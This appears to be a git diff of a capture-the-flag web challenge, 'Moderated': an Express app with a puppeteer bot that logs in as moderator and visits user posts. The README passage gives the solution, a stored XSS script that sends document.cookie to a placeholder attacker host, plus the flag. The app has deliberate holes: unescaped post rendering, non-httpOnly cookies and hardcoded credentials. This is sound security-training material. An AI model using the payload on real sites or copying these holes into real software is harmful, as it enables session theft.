where you can use those credentials to log in.
|
||||
|
||||
After loggin in, you will be presented with a page that lists your posts. At first,
|
||||
this page will be empty, but new posts can be created using the "Create post" link.
|
||||
|
||||
To solve the challenge, you will need to create a posts that contains Javascript,
|
||||
for example like this:
|
||||
|
||||
```
|
||||
<script>
|
||||
window.top.location = "http://SOME_IP:SOME_PORT/?q="+document.cookie;
|
||||
</script>
|
||||
```
|
||||
|
||||
You will see that when you view an individual post, this HTML gets rendered
|
||||
and will be executed on the client side of whomever is viewing the page.
|
||||
As each post needs to be reviewed by a moderator, we hope that the page
|
||||
gets viewed by a moderator, and that the Javascript gets executed, therefore
|
||||
stealing the cookie details of the moderator.
|
||||
|
||||
For this to work, you will need an external server that is accesible from
|
||||
the internet on `SOME_IP:SOME_PORT` and logs all of the request information
|
||||
so that you can view it. At some point, the moderator will log in and
|
||||
view your post containing the malicious Javascript, at this point, the
|
||||
cookie is leaked and can be replaced in your on browser (through the developer tools for example).
|
||||
|
||||
## Flag
|
||||
IGCTF{BigTechWillnOtSiLenceUs}
|
149
moderated/app.js
Normal file
149
moderated/app.js
Normal file
@ -0,0 +1,149 @@
|
||||
const express = require("express")
|
||||
const bodyParser = require("body-parser");
|
||||
const app = express();
|
||||
const hbs = require('hbs');
|
||||
const path = require('path');
|
||||
const db = require("./db")
|
||||
const session = require("express-session");
|
||||
require("./moderator");
|
||||
hbs.registerPartials(path.join(__dirname, 'views/partials'));
|
||||
|
||||
app.use(session({
|
||||
secret: 'this is the most random keyphrase that you have ever encountered. it should be very secure and not easy to crack so that nobody can fake the cookie',
|
||||
resave: false,
|
||||
saveUninitialized: true,
|
||||
cookie: { secure: false, httpOnly: false }
|
||||
}))
|
||||
|
||||
app.use(bodyParser.urlencoded());
|
||||
|
||||
app.set('view engine', 'hbs');
|
||||
app.set('views', path.join(__dirname, 'views'));
|
||||
|
||||
function addErrors(request) {
|
||||
return []
|
||||
}
|
||||
|
||||
function checkForm(fields, data) {
|
||||
for (let field in fields) {
|
||||
if (!(data.hasOwnProperty(field) && typeof data[field] === fields[field])) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
app.get("/", (req, res) => {
|
||||
res.render("index");
|
||||
});
|
||||
|
||||
app.get("/login", (req, res) => {
|
||||
const errors = addErrors(req)
|
||||
res.render("login",{
|
||||
errors,
|
||||
})
|
||||
});
|
||||
|
||||
app.post("/login", (req, res) => {
|
||||
if (!checkForm({
|
||||
username: "string",
|
||||
password: "string",
|
||||
}, req.body)) {
|
||||
res.redirect("/login?error=invalid")
|
||||
} else {
|
||||
const user = db.checkLogin(req.body.username, req.body.password);
|
||||
if (user) {
|
||||
req.session.loggedIn = user;
|
||||
res.redirect("/posts")
|
||||
} else {
|
||||
res.redirect("/login?error=invalid pwd")
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
app.post("/register", (req, res) => {
|
||||
if (!checkForm({
|
||||
username: "string",
|
||||
password: "string"
|
||||
}, req.body)) {
|
||||
res.redirect("/register?error")
|
||||
} else {
|
||||
const registerTry = db.registerUser(req.body.username, req.body.password);
|
||||
if (registerTry) {
|
||||
res.redirect("/register?error=user already exists");
|
||||
} else {
|
||||
res.redirect("/login")
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
app.get("/register", (req, res) => {
|
||||
const errors = addErrors(req)
|
||||
res.render("register", {
|
||||
errors,
|
||||
})
|
||||
});
|
||||
|
||||
app.get("/posts", (req, res) => {
|
||||
if (req.session.loggedIn) {
|
||||
const userId = req.session.loggedIn;
|
||||
const posts = db.getPostsBy(userId);
|
||||
res.render("posts", {posts: posts});
|
||||
} else {
|
||||
res.redirect("/login");
|
||||
}
|
||||
});
|
||||
|
||||
app.get("/create", (req, res) => {
|
||||
if (req.session.loggedIn) {
|
||||
res.render("create_post");
|
||||
} else {
|
||||
res.redirect("/login");
|
||||
}
|
||||
});
|
||||
|
||||
app.post("/create", (req, res) => {
|
||||
if (req.session.loggedIn && !db.isModerator(req.session.loggedIn)) {
|
||||
if (checkForm({content: "string"}, req.body)) {
|
||||
const userId = req.session.loggedIn;
|
||||
db.addPost(req.body.content, userId);
|
||||
res.redirect("/posts")
|
||||
} else {
|
||||
res.redirect("/create");
|
||||
}
|
||||
} else {
|
||||
res.redirect("/login");
|
||||
}
|
||||
});
|
||||
|
||||
app.get("/post/:id", (req, res) => {
|
||||
if (req.session.loggedIn) {
|
||||
const userId = req.session.loggedIn;
|
||||
const postId = req.params.id;
|
||||
const post = db.getPostById(postId);
|
||||
if (post.by != userId && !db.isModerator(userId)) {
|
||||
res.redirect("/posts");
|
||||
} else {
|
||||
res.render("post", {post: post});
|
||||
}
|
||||
} else {
|
||||
res.redirect("/login");
|
||||
}
|
||||
});
|
||||
|
||||
app.get("/moderate", (req, res) => {
|
||||
if (db.isModerator(req.session.loggedIn)) {
|
||||
res.render("posts", {posts: db.getAllPosts() })
|
||||
} else {
|
||||
res.redirect("/posts?error=access denied");
|
||||
}
|
||||
});
|
||||
|
||||
app.use(express.static('public'))
|
||||
db.resetStore()
|
||||
|
||||
setInterval(() => { console.log("resetting store"); db.resetStore() }, 60*1000*15);
|
||||
|
||||
app.listen(8001);
|
99
moderated/db.js
Normal file
99
moderated/db.js
Normal file
@ -0,0 +1,99 @@
|
||||
let STORE = {
|
||||
posts: [],
|
||||
users: [],
|
||||
nextFreeUserId: 0,
|
||||
nextFreePostId: 0
|
||||
}
|
||||
|
||||
function resetStore() {
|
||||
STORE = {
|
||||
posts: [],
|
||||
users: [],
|
||||
nextFreeUserId: 1,
|
||||
nextFreePostId: 1
|
||||
};
|
||||
|
||||
addPost("IGCTF{BigTechWillnOtSiLenceUs}", 1);
|
||||
addUser("moderator", "916027bd3a6e3d7131f98d9997db1931a146c2b97f2eb7de75b9bbfb9ed91fb432742e7aea628eafb5ad56027132f7b71fa0");
|
||||
}
|
||||
|
||||
function createPost(body, by, id) {
|
||||
return {
|
||||
id,
|
||||
by,
|
||||
body
|
||||
}
|
||||
}
|
||||
|
||||
function createUser(username, password, id) {
|
||||
return {
|
||||
username,
|
||||
password,
|
||||
id
|
||||
}
|
||||
}
|
||||
|
||||
function addPost(body, by) {
|
||||
STORE.posts.push(createPost(body, by, STORE.nextFreePostId))
|
||||
STORE.nextFreePostId += 1
|
||||
}
|
||||
|
||||
function addUser(username, password) {
|
||||
STORE.users.push(createUser(username, password, STORE.nextFreeUserId))
|
||||
STORE.nextFreeUserId += 1
|
||||
}
|
||||
|
||||
function checkLogin(username, password) {
|
||||
let found = false;
|
||||
STORE.users.forEach((user) => {
|
||||
if (user.username === username && user.password === password) {
|
||||
found = user.id;
|
||||
}
|
||||
});
|
||||
|
||||
return found;
|
||||
}
|
||||
|
||||
function registerUser(username, password) {
|
||||
let found = false;
|
||||
STORE.users.forEach((user) => {
|
||||
if (user.username == username) {
|
||||
found = true;
|
||||
}
|
||||
});
|
||||
|
||||
if (found) {
|
||||
return "user already exists";
|
||||
} else {
|
||||
addUser(username, password);
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
function getPostsBy(userId) {
|
||||
return STORE.posts.filter((post) => post.by === userId);
|
||||
}
|
||||
|
||||
function getPostById(id) {
|
||||
return STORE.posts.filter((post) => post.id == id)[0]
|
||||
}
|
||||
|
||||
function isModerator(id) {
|
||||
return id === 1;
|
||||
}
|
||||
|
||||
function getAllPosts() {
|
||||
return STORE.posts;
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
resetStore,
|
||||
addPost,
|
||||
addUser,
|
||||
checkLogin,
|
||||
registerUser,
|
||||
getPostsBy,
|
||||
getPostById,
|
||||
isModerator,
|
||||
getAllPosts,
|
||||
}
|
50
moderated/moderator.js
Normal file
50
moderated/moderator.js
Normal file
@ -0,0 +1,50 @@
|
||||
/**
|
||||
* Simulates visits from the moderator
|
||||
*/
|
||||
|
||||
const puppeteer = require("puppeteer");
|
||||
|
||||
// TODO: change to NODE_ENV URL
|
||||
//
|
||||
const URL = process.env.API || "http://localhost:8001";
|
||||
|
||||
async function moderateAll() {
|
||||
const browser = await puppeteer.launch({headless: true, args: ['--no-sandbox', '--disable-setuid-sandbox']});
|
||||
try {
|
||||
console.log("Moderating all");
|
||||
const page = await browser.newPage();
|
||||
|
||||
async function followURL(url) {
|
||||
const page = await browser.newPage();
|
||||
await page.goto(url);
|
||||
}
|
||||
|
||||
// first login
|
||||
await page.goto(URL+"/login");
|
||||
await page.type("#username", "moderator");
|
||||
await page.type("#password", "916027bd3a6e3d7131f98d9997db1931a146c2b97f2eb7de75b9bbfb9ed91fb432742e7aea628eafb5ad56027132f7b71fa0");
|
||||
await Promise.all([page.click("#submit"), page.waitForNavigation()]);
|
||||
|
||||
console.log("Login successful");
|
||||
|
||||
// then browse to the correct page to view all posts
|
||||
await page.goto(URL+"/moderate");
|
||||
console.log("went to moderation page");
|
||||
|
||||
// now fetch all urls
|
||||
const hrefs = await page.$$eval("a", as => as.map(a => a.href))
|
||||
|
||||
console.log("hrefs", hrefs);
|
||||
// create seperate pages for them
|
||||
await Promise.all(hrefs.map(followURL));
|
||||
|
||||
await browser.close();
|
||||
} catch (e) {
|
||||
console.error(e)
|
||||
console.log("Moderating failed...")
|
||||
await browser.close();
|
||||
}
|
||||
}
|
||||
|
||||
setInterval(() => moderateAll(), 5000);
|
||||
//moderateAll();
|
2212
moderated/package-lock.json
generated
Normal file
2212
moderated/package-lock.json
generated
Normal file
File diff suppressed because it is too large
Load Diff
18
moderated/package.json
Normal file
18
moderated/package.json
Normal file
@ -0,0 +1,18 @@
|
||||
{
|
||||
"name": "moderated",
|
||||
"version": "1.0.0",
|
||||
"description": "## Text",
|
||||
"main": "app.js",
|
||||
"scripts": {
|
||||
"test": "echo \"Error: no test specified\" && exit 1"
|
||||
},
|
||||
"author": "",
|
||||
"license": "ISC",
|
||||
"dependencies": {
|
||||
"body-parser": "^1.19.0",
|
||||
"express": "^4.17.1",
|
||||
"express-session": "^1.17.2",
|
||||
"hbs": "^4.1.2",
|
||||
"puppeteer": "^10.4.0"
|
||||
}
|
||||
}
|
4
moderated/public/app.css
Normal file
4
moderated/public/app.css
Normal file
@ -0,0 +1,4 @@
|
||||
html, body {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
}
|
9
moderated/views/create_post.hbs
Normal file
9
moderated/views/create_post.hbs
Normal file
@ -0,0 +1,9 @@
|
||||
<h1>Create a new post</h1>
|
||||
|
||||
<form action="/create" method="POST" >
|
||||
<div class="form-field" >
|
||||
<label>Content</label>
|
||||
<textarea name="content" ></textarea>
|
||||
</div>
|
||||
<input type="submit" value="Create post and await moderation" />
|
||||
</form>
|
1
moderated/views/index.hbs
Normal file
1
moderated/views/index.hbs
Normal file
@ -0,0 +1 @@
|
||||
{{> header}}
|
16
moderated/views/login.hbs
Normal file
16
moderated/views/login.hbs
Normal file
@ -0,0 +1,16 @@
|
||||
{{> header}}
|
||||
|
||||
<form action="/login" method="POST" >
|
||||
<div class="form-field" >
|
||||
<label>Username</label>
|
||||
<input id="username" type="text" name="username" />
|
||||
</div>
|
||||
|
||||
<div class="form-field" >
|
||||
<label>Password</label>
|
||||
<input id="password" type="password" name="password" />
|
||||
</div>
|
||||
|
||||
<input type="submit" value="Login" id="submit" />
|
||||
|
||||
</form>
|
2
moderated/views/partials/footer.hbs
Normal file
2
moderated/views/partials/footer.hbs
Normal file
@ -0,0 +1,2 @@
|
||||
</body>
|
||||
</html>
|
9
moderated/views/partials/header.hbs
Normal file
9
moderated/views/partials/header.hbs
Normal file
@ -0,0 +1,9 @@
|
||||
<html>
|
||||
<head>
|
||||
<title>Moderated</title>
|
||||
<link rel="stylesheet" href="/app.css" />
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<a href="/login" >Login</a>
|
||||
<a href="/register" >Register</a>
|
3
moderated/views/post.hbs
Normal file
3
moderated/views/post.hbs
Normal file
@ -0,0 +1,3 @@
|
||||
<h1>Viewing post {{post.id}}</h1>
|
||||
|
||||
<p>{{{post.body}}}</p>
|
12
moderated/views/posts.hbs
Normal file
12
moderated/views/posts.hbs
Normal file
@ -0,0 +1,12 @@
|
||||
<h1>My Posts</h1>
|
||||
|
||||
<a href="/create">Create a new post</a>
|
||||
|
||||
{{#each posts}}
|
||||
<p>
|
||||
{{body}}<br/>
|
||||
<a class="viewmore" href="/post/{{id}}" >View more</a>
|
||||
</p>
|
||||
<hr/>
|
||||
{{/each}}
|
||||
|
15
moderated/views/register.hbs
Normal file
15
moderated/views/register.hbs
Normal file
@ -0,0 +1,15 @@
|
||||
{{> header}}
|
||||
|
||||
<form action="/register" method="POST" >
|
||||
<div class="form-field" >
|
||||
<label>Username</label>
|
||||
<input type="text" name="username" />
|
||||
</div>
|
||||
|
||||
<div class="form-field" >
|
||||
<label>Password</label>
|
||||
<input type="password" name="password" />
|
||||
</div>
|
||||
|
||||
<input type="submit" value="Register" />
|
||||
</form>
|
837
moderated/yarn.lock
Normal file
837
moderated/yarn.lock
Normal file
@ -0,0 +1,837 @@
|
||||
# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
|
||||
# yarn lockfile v1
|
||||
|
||||
|
||||
"@types/node@*":
|
||||
version "16.11.7"
|
||||
resolved "https://registry.yarnpkg.com/@types/node/-/node-16.11.7.tgz#36820945061326978c42a01e56b61cd223dfdc42"
|
||||
integrity sha512-QB5D2sqfSjCmTuWcBWyJ+/44bcjO7VbjSbOE0ucoVbAsSNQc4Lt6QkgkVXkTDwkL4z/beecZNDvVX15D4P8Jbw==
|
||||
|
||||
"@types/yauzl@^2.9.1":
|
||||
version "2.9.2"
|
||||
resolved "https://registry.yarnpkg.com/@types/yauzl/-/yauzl-2.9.2.tgz#c48e5d56aff1444409e39fa164b0b4d4552a7b7a"
|
||||
integrity sha512-8uALY5LTvSuHgloDVUvWP3pIauILm+8/0pDMokuDYIoNsOkSwd5AiHBTSEJjKTDcZr5z8UpgOWZkxBF4iJftoA==
|
||||
dependencies:
|
||||
"@types/node" "*"
|
||||
|
||||
accepts@~1.3.7:
|
||||
version "1.3.7"
|
||||
resolved "https://registry.yarnpkg.com/accepts/-/accepts-1.3.7.tgz#531bc726517a3b2b41f850021c6cc15eaab507cd"
|
||||
integrity sha512-Il80Qs2WjYlJIBNzNkK6KYqlVMTbZLXgHx2oT0pU/fjRHyEp+PEfEPY0R3WCwAGVOtauxh1hOxNgIf5bv7dQpA==
|
||||
dependencies:
|
||||
mime-types "~2.1.24"
|
||||
negotiator "0.6.2"
|
||||
|
||||
agent-base@6:
|
||||
version "6.0.2"
|
||||
resolved "https://registry.yarnpkg.com/agent-base/-/agent-base-6.0.2.tgz#49fff58577cfee3f37176feab4c22e00f86d7f77"
|
||||
integrity sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==
|
||||
dependencies:
|
||||
debug "4"
|
||||
|
||||
array-flatten@1.1.1:
|
||||
version "1.1.1"
|
||||
resolved "https://registry.yarnpkg.com/array-flatten/-/array-flatten-1.1.1.tgz#9a5f699051b1e7073328f2a008968b64ea2955d2"
|
||||
integrity sha1-ml9pkFGx5wczKPKgCJaLZOopVdI=
|
||||
|
||||
balanced-match@^1.0.0:
|
||||
version "1.0.2"
|
||||
resolved "https://registry.yarnpkg.com/balanced-match/-/balanced-match-1.0.2.tgz#e83e3a7e3f300b34cb9d87f615fa0cbf357690ee"
|
||||
integrity sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==
|
||||
|
||||
base64-js@^1.3.1:
|
||||
version "1.5.1"
|
||||
resolved "https://registry.yarnpkg.com/base64-js/-/base64-js-1.5.1.tgz#1b1b440160a5bf7ad40b650f095963481903930a"
|
||||
integrity sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==
|
||||
|
||||
bl@^4.0.3:
|
||||
version "4.1.0"
|
||||
resolved "https://registry.yarnpkg.com/bl/-/bl-4.1.0.tgz#451535264182bec2fbbc83a62ab98cf11d9f7b3a"
|
||||
integrity sha512-1W07cM9gS6DcLperZfFSj+bWLtaPGSOHWhPiGzXmvVJbRLdG82sH/Kn8EtW1VqWVA54AKf2h5k5BbnIbwF3h6w==
|
||||
dependencies:
|
||||
buffer "^5.5.0"
|
||||
inherits "^2.0.4"
|
||||
readable-stream "^3.4.0"
|
||||
|
||||
body-parser@1.19.0, body-parser@^1.19.0:
|
||||
version "1.19.0"
|
||||
resolved "https://registry.yarnpkg.com/body-parser/-/body-parser-1.19.0.tgz#96b2709e57c9c4e09a6fd66a8fd979844f69f08a"
|
||||
integrity sha512-dhEPs72UPbDnAQJ9ZKMNTP6ptJaionhP5cBb541nXPlW60Jepo9RV/a4fX4XWW9CuFNK22krhrj1+rgzifNCsw==
|
||||
dependencies:
|
||||
bytes "3.1.0"
|
||||
content-type "~1.0.4"
|
||||
debug "2.6.9"
|
||||
depd "~1.1.2"
|
||||
http-errors "1.7.2"
|
||||
iconv-lite "0.4.24"
|
||||
on-finished "~2.3.0"
|
||||
qs "6.7.0"
|
||||
raw-body "2.4.0"
|
||||
type-is "~1.6.17"
|
||||
|
||||
brace-expansion@^1.1.7:
|
||||
version "1.1.11"
|
||||
resolved "https://registry.yarnpkg.com/brace-expansion/-/brace-expansion-1.1.11.tgz#3c7fcbf529d87226f3d2f52b966ff5271eb441dd"
|
||||
integrity sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==
|
||||
dependencies:
|
||||
balanced-match "^1.0.0"
|
||||
concat-map "0.0.1"
|
||||
|
||||
buffer-crc32@~0.2.3:
|
||||
version "0.2.13"
|
||||
resolved "https://registry.yarnpkg.com/buffer-crc32/-/buffer-crc32-0.2.13.tgz#0d333e3f00eac50aa1454abd30ef8c2a5d9a7242"
|
||||
integrity sha1-DTM+PwDqxQqhRUq9MO+MKl2ackI=
|
||||
|
||||
buffer@^5.2.1, buffer@^5.5.0:
|
||||
version "5.7.1"
|
||||
resolved "https://registry.yarnpkg.com/buffer/-/buffer-5.7.1.tgz#ba62e7c13133053582197160851a8f648e99eed0"
|
||||
integrity sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==
|
||||
dependencies:
|
||||
base64-js "^1.3.1"
|
||||
ieee754 "^1.1.13"
|
||||
|
||||
bytes@3.1.0:
|
||||
version "3.1.0"
|
||||
resolved "https://registry.yarnpkg.com/bytes/-/bytes-3.1.0.tgz#f6cf7933a360e0588fa9fde85651cdc7f805d1f6"
|
||||
integrity sha512-zauLjrfCG+xvoyaqLoV8bLVXXNGC4JqlxFCutSDWA6fJrTo2ZuvLYTqZ7aHBLZSMOopbzwv8f+wZcVzfVTI2Dg==
|
||||
|
||||
chownr@^1.1.1:
|
||||
version "1.1.4"
|
||||
resolved "https://registry.yarnpkg.com/chownr/-/chownr-1.1.4.tgz#6fc9d7b42d32a583596337666e7d08084da2cc6b"
|
||||
integrity sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg==
|
||||
|
||||
concat-map@0.0.1:
|
||||
version "0.0.1"
|
||||
resolved "https://registry.yarnpkg.com/concat-map/-/concat-map-0.0.1.tgz#d8a96bd77fd68df7793a73036a3ba0d5405d477b"
|
||||
integrity sha1-2Klr13/Wjfd5OnMDajug1UBdR3s=
|
||||
|
||||
content-disposition@0.5.3:
|
||||
version "0.5.3"
|
||||
resolved "https://registry.yarnpkg.com/content-disposition/-/content-disposition-0.5.3.tgz#e130caf7e7279087c5616c2007d0485698984fbd"
|
||||
integrity sha512-ExO0774ikEObIAEV9kDo50o+79VCUdEB6n6lzKgGwupcVeRlhrj3qGAfwq8G6uBJjkqLrhT0qEYFcWng8z1z0g==
|
||||
dependencies:
|
||||
safe-buffer "5.1.2"
|
||||
|
||||
content-type@~1.0.4:
|
||||
version "1.0.4"
|
||||
resolved "https://registry.yarnpkg.com/content-type/-/content-type-1.0.4.tgz#e138cc75e040c727b1966fe5e5f8c9aee256fe3b"
|
||||
integrity sha512-hIP3EEPs8tB9AT1L+NUqtwOAps4mk2Zob89MWXMHjHWg9milF/j4osnnQLXBCBFBk/tvIG/tUc9mOUJiPBhPXA==
|
||||
|
||||
cookie-signature@1.0.6:
|
||||
version "1.0.6"
|
||||
resolved "https://registry.yarnpkg.com/cookie-signature/-/cookie-signature-1.0.6.tgz#e303a882b342cc3ee8ca513a79999734dab3ae2c"
|
||||
integrity sha1-4wOogrNCzD7oylE6eZmXNNqzriw=
|
||||
|
||||
cookie@0.4.0:
|
||||
version "0.4.0"
|
||||
resolved "https://registry.yarnpkg.com/cookie/-/cookie-0.4.0.tgz#beb437e7022b3b6d49019d088665303ebe9c14ba"
|
||||
integrity sha512-+Hp8fLp57wnUSt0tY0tHEXh4voZRDnoIrZPqlo3DPiI4y9lwg/jqx+1Om94/W6ZaPDOUbnjOt/99w66zk+l1Xg==
|
||||
|
||||
cookie@0.4.1:
|
||||
version "0.4.1"
|
||||
resolved "https://registry.yarnpkg.com/cookie/-/cookie-0.4.1.tgz#afd713fe26ebd21ba95ceb61f9a8116e50a537d1"
|
||||
integrity sha512-ZwrFkGJxUR3EIoXtO+yVE69Eb7KlixbaeAWfBQB9vVsNn/o+Yw69gBWSSDK825hQNdN+wF8zELf3dFNl/kxkUA==
|
||||
|
||||
debug@2.6.9:
|
||||
version "2.6.9"
|
||||
resolved "https://registry.yarnpkg.com/debug/-/debug-2.6.9.tgz#5d128515df134ff327e90a4c93f4e077a536341f"
|
||||
integrity sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==
|
||||
dependencies:
|
||||
ms "2.0.0"
|
||||
|
||||
debug@4, debug@^4.1.1:
|
||||
version "4.3.2"
|
||||
resolved "https://registry.yarnpkg.com/debug/-/debug-4.3.2.tgz#f0a49c18ac8779e31d4a0c6029dfb76873c7428b"
|
||||
integrity sha512-mOp8wKcvj7XxC78zLgw/ZA+6TSgkoE2C/ienthhRD298T7UNwAg9diBpLRxC0mOezLl4B0xV7M0cCO6P/O0Xhw==
|
||||
dependencies:
|
||||
ms "2.1.2"
|
||||
|
||||
debug@4.3.1:
|
||||
version "4.3.1"
|
||||
resolved "https://registry.yarnpkg.com/debug/-/debug-4.3.1.tgz#f0d229c505e0c6d8c49ac553d1b13dc183f6b2ee"
|
||||
integrity sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==
|
||||
dependencies:
|
||||
ms "2.1.2"
|
||||
|
||||
depd@~1.1.2:
|
||||
version "1.1.2"
|
||||
resolved "https://registry.yarnpkg.com/depd/-/depd-1.1.2.tgz#9bcd52e14c097763e749b274c4346ed2e560b5a9"
|
||||
integrity sha1-m81S4UwJd2PnSbJ0xDRu0uVgtak=
|
||||
|
||||
depd@~2.0.0:
|
||||
version "2.0.0"
|
||||
resolved "https://registry.yarnpkg.com/depd/-/depd-2.0.0.tgz#b696163cc757560d09cf22cc8fad1571b79e76df"
|
||||
integrity sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==
|
||||
|
||||
destroy@~1.0.4:
|
||||
version "1.0.4"
|
||||
resolved "https://registry.yarnpkg.com/destroy/-/destroy-1.0.4.tgz#978857442c44749e4206613e37946205826abd80"
|
||||
integrity sha1-l4hXRCxEdJ5CBmE+N5RiBYJqvYA=
|
||||
|
||||
devtools-protocol@0.0.901419:
|
||||
version "0.0.901419"
|
||||
resolved "https://registry.yarnpkg.com/devtools-protocol/-/devtools-protocol-0.0.901419.tgz#79b5459c48fe7e1c5563c02bd72f8fec3e0cebcd"
|
||||
integrity sha512-4INMPwNm9XRpBukhNbF7OB6fNTTCaI8pzy/fXg0xQzAy5h3zL1P8xT3QazgKqBrb/hAYwIBizqDBZ7GtJE74QQ==
|
||||
|
||||
ee-first@1.1.1:
|
||||
version "1.1.1"
|
||||
resolved "https://registry.yarnpkg.com/ee-first/-/ee-first-1.1.1.tgz#590c61156b0ae2f4f0255732a158b266bc56b21d"
|
||||
integrity sha1-WQxhFWsK4vTwJVcyoViyZrxWsh0=
|
||||
|
||||
encodeurl@~1.0.2:
|
||||
version "1.0.2"
|
||||
resolved "https://registry.yarnpkg.com/encodeurl/-/encodeurl-1.0.2.tgz#ad3ff4c86ec2d029322f5a02c3a9a606c95b3f59"
|
||||
integrity sha1-rT/0yG7C0CkyL1oCw6mmBslbP1k=
|
||||
|
||||
end-of-stream@^1.1.0, end-of-stream@^1.4.1:
|
||||
version "1.4.4"
|
||||
resolved "https://registry.yarnpkg.com/end-of-stream/-/end-of-stream-1.4.4.tgz#5ae64a5f45057baf3626ec14da0ca5e4b2431eb0"
|
||||
integrity sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==
|
||||
dependencies:
|
||||
once "^1.4.0"
|
||||
|
||||
escape-html@~1.0.3:
|
||||
version "1.0.3"
|
||||
resolved "https://registry.yarnpkg.com/escape-html/-/escape-html-1.0.3.tgz#0258eae4d3d0c0974de1c169188ef0051d1d1988"
|
||||
integrity sha1-Aljq5NPQwJdN4cFpGI7wBR0dGYg=
|
||||
|
||||
etag@~1.8.1:
|
||||
version "1.8.1"
|
||||
resolved "https://registry.yarnpkg.com/etag/-/etag-1.8.1.tgz#41ae2eeb65efa62268aebfea83ac7d79299b0887"
|
||||
integrity sha1-Qa4u62XvpiJorr/qg6x9eSmbCIc=
|
||||
|
||||
express-session@^1.17.2:
|
||||
version "1.17.2"
|
||||
resolved "https://registry.yarnpkg.com/express-session/-/express-session-1.17.2.tgz#397020374f9bf7997f891b85ea338767b30d0efd"
|
||||
integrity sha512-mPcYcLA0lvh7D4Oqr5aNJFMtBMKPLl++OKKxkHzZ0U0oDq1rpKBnkR5f5vCHR26VeArlTOEF9td4x5IjICksRQ==
|
||||
dependencies:
|
||||
cookie "0.4.1"
|
||||
cookie-signature "1.0.6"
|
||||
debug "2.6.9"
|
||||
depd "~2.0.0"
|
||||
on-headers "~1.0.2"
|
||||
parseurl "~1.3.3"
|
||||
safe-buffer "5.2.1"
|
||||
uid-safe "~2.1.5"
|
||||
|
||||
express@^4.17.1:
|
||||
version "4.17.1"
|
||||
resolved "https://registry.yarnpkg.com/express/-/express-4.17.1.tgz#4491fc38605cf51f8629d39c2b5d026f98a4c134"
|
||||
integrity sha512-mHJ9O79RqluphRrcw2X/GTh3k9tVv8YcoyY4Kkh4WDMUYKRZUq0h1o0w2rrrxBqM7VoeUVqgb27xlEMXTnYt4g==
|
||||
dependencies:
|
||||
accepts "~1.3.7"
|
||||
array-flatten "1.1.1"
|
||||
body-parser "1.19.0"
|
||||
content-disposition "0.5.3"
|
||||
content-type "~1.0.4"
|
||||
cookie "0.4.0"
|
||||
cookie-signature "1.0.6"
|
||||
debug "2.6.9"
|
||||
depd "~1.1.2"
|
||||
encodeurl "~1.0.2"
|
||||
escape-html "~1.0.3"
|
||||
etag "~1.8.1"
|
||||
finalhandler "~1.1.2"
|
||||
fresh "0.5.2"
|
||||
merge-descriptors "1.0.1"
|
||||
methods "~1.1.2"
|
||||
on-finished "~2.3.0"
|
||||
parseurl "~1.3.3"
|
||||
path-to-regexp "0.1.7"
|
||||
proxy-addr "~2.0.5"
|
||||
qs "6.7.0"
|
||||
range-parser "~1.2.1"
|
||||
safe-buffer "5.1.2"
|
||||
send "0.17.1"
|
||||
serve-static "1.14.1"
|
||||
setprototypeof "1.1.1"
|
||||
statuses "~1.5.0"
|
||||
type-is "~1.6.18"
|
||||
utils-merge "1.0.1"
|
||||
vary "~1.1.2"
|
||||
|
||||
extract-zip@2.0.1:
|
||||
version "2.0.1"
|
||||
resolved "https://registry.yarnpkg.com/extract-zip/-/extract-zip-2.0.1.tgz#663dca56fe46df890d5f131ef4a06d22bb8ba13a"
|
||||
integrity sha512-GDhU9ntwuKyGXdZBUgTIe+vXnWj0fppUEtMDL0+idd5Sta8TGpHssn/eusA9mrPr9qNDym6SxAYZjNvCn/9RBg==
|
||||
dependencies:
|
||||
debug "^4.1.1"
|
||||
get-stream "^5.1.0"
|
||||
yauzl "^2.10.0"
|
||||
optionalDependencies:
|
||||
"@types/yauzl" "^2.9.1"
|
||||
|
||||
fd-slicer@~1.1.0:
|
||||
version "1.1.0"
|
||||
resolved "https://registry.yarnpkg.com/fd-slicer/-/fd-slicer-1.1.0.tgz#25c7c89cb1f9077f8891bbe61d8f390eae256f1e"
|
||||
integrity sha1-JcfInLH5B3+IkbvmHY85Dq4lbx4=
|
||||
dependencies:
|
||||
pend "~1.2.0"
|
||||
|
||||
finalhandler@~1.1.2:
|
||||
version "1.1.2"
|
||||
resolved "https://registry.yarnpkg.com/finalhandler/-/finalhandler-1.1.2.tgz#b7e7d000ffd11938d0fdb053506f6ebabe9f587d"
|
||||
